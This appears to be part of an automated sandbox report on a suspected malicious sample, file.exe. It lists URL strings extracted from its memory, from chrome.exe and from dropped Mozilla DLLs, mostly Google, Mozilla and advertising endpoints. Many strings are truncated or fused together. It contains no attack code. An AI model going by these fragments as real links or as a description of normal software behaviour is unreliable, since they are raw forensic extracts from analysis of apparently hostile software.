Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000001.00000003.1790013924.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000001.00000003.1790923185.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789579384.00002E9400338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788544748.00002E9400C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793782506.00002E9400C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1795355413.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790013924.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000001.00000003.1776283486.00003D9400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1772506703.00004AF4002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1772488480.00004AF4002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000001.00000003.1793914102.00002E9400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1876110544.00002E9400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814460508.00002E9400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1809552609.00002E9400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789409724.00002E9400BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_81.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000001.00000003.1820304343.00002E9401648000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820265091.00002E9401644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: file.exe, file.exe, 00000000.00000002.2085552538.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1676707184.0000000004EBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_81.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/6
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/=
Source: chrome.exe, 00000001.00000003.1776283486.00003D9400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/l
Source: chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/r
Source: chrome.exe, 00000001.00000003.1776283486.00003D9400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000001.00000003.1776283486.00003D9400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000001.00000003.1776283486.00003D9400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000001.00000003.1821871540.00002E94017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821788071.00002E9401798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821829404.00002E940179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821734746.00002E9401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821954163.00002E94017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822111234.00002E94017AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822036687.00002E94017A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: CBGHCAKKFBGDHJJJKECF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000001.00000003.1815903058.00002E9401AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1815877266.00002E9401AEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1816484865.00002E9401AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000001.00000003.1815903058.00002E9401AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1815877266.00002E9401AEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1816484865.00002E9401AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard.
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000003.1810134713.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810586560.00002E94012DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1813889235.00002E94014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812887482.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812928146.00002E940140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000001.00000003.1776503652.00003D94006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000001.00000003.1814460508.00002E9400BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000001.00000003.1778199517.00002E94001C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000001.00000003.1810134713.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810586560.00002E94012DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1813889235.00002E94014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812887482.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812928146.00002E940140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000001.00000003.1814485626.00002E9400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1826290116.00002E9401C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1826290116.00002E9401C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1826290116.00002E9401C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000003.1789708389.00002E9400A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000001.00000003.1789620915.00002E9400DB2000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1826290116.00002E9401C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_77.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000001.00000003.1808767970.00002E9400338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000001.00000003.1810134713.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810586560.00002E94012DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1813889235.00002E94014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812887482.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812928146.00002E940140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1888967404.000000001D5F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016va
Source: file.exe, 00000000.00000003.1888967404.000000001D5F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17isual
Source: chromecache_81.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
